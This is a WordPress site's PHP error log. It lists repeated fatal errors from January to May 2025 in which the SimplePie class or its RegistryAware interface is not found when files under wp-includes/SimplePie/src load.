[16-Jan-2025 07:52:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Feb-2025 01:48:30 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Feb-2025 01:49:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Feb-2025 01:49:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Feb-2025 01:49:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Feb-2025 01:49:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Feb-2025 01:49:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Feb-2025 02:38:16 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Feb-2025 02:38:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Feb-2025 02:38:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Feb-2025 02:38:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Feb-2025 02:39:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Feb-2025 02:39:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[22-Feb-2025 06:18:01 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[22-Feb-2025 06:18:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[22-Feb-2025 06:18:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[22-Feb-2025 06:18:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[22-Feb-2025 06:18:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[22-Feb-2025 06:18:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[22-Feb-2025 06:26:36 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[22-Feb-2025 06:26:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[22-Feb-2025 06:26:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[22-Feb-2025 06:26:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[22-Feb-2025 06:26:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[22-Feb-2025 06:26:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[11-Mar-2025 10:57:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[11-Mar-2025 10:58:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[11-Mar-2025 10:58:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[11-Mar-2025 10:59:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[11-Mar-2025 11:01:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[11-Mar-2025 11:02:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[29-Mar-2025 10:09:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[29-Mar-2025 10:09:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[29-Mar-2025 10:09:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[29-Mar-2025 10:09:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[29-Mar-2025 10:09:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[29-Mar-2025 10:10:04 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[20-Apr-2025 03:55:03 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[20-Apr-2025 03:55:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[20-Apr-2025 03:55:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[20-Apr-2025 03:55:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[20-Apr-2025 03:56:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[20-Apr-2025 03:56:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[13-May-2025 09:52:32 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[13-May-2025 09:52:32 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[13-May-2025 09:52:33 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[13-May-2025 09:52:36 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[13-May-2025 09:52:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[13-May-2025 09:52:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[13-May-2025 09:52:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[13-May-2025 09:52:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[13-May-2025 09:52:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[13-May-2025 09:52:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[13-May-2025 09:52:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[13-May-2025 09:52:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[13-May-2025 09:52:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[13-May-2025 09:52:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[13-May-2025 09:52:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[13-May-2025 09:52:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[13-May-2025 09:52:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[13-May-2025 09:52:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[13-May-2025 09:52:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[13-May-2025 09:52:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[13-May-2025 09:52:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[13-May-2025 09:52:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[13-May-2025 09:52:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[13-May-2025 09:52:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 12:03:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 12:03:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 12:03:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 12:03:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 12:03:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 12:03:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 12:03:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 12:03:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 12:03:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 12:03:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 12:03:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 12:03:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 12:03:57 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 12:03:57 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 12:03:59 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 12:04:01 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 12:04:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 12:04:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 12:04:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 12:04:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 12:04:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 12:04:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 12:04:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 12:04:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 14:23:40 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 14:23:41 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 14:23:42 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 14:23:44 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-May-2025 14:23:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 14:23:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 14:23:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 14:23:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-May-2025 14:23:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
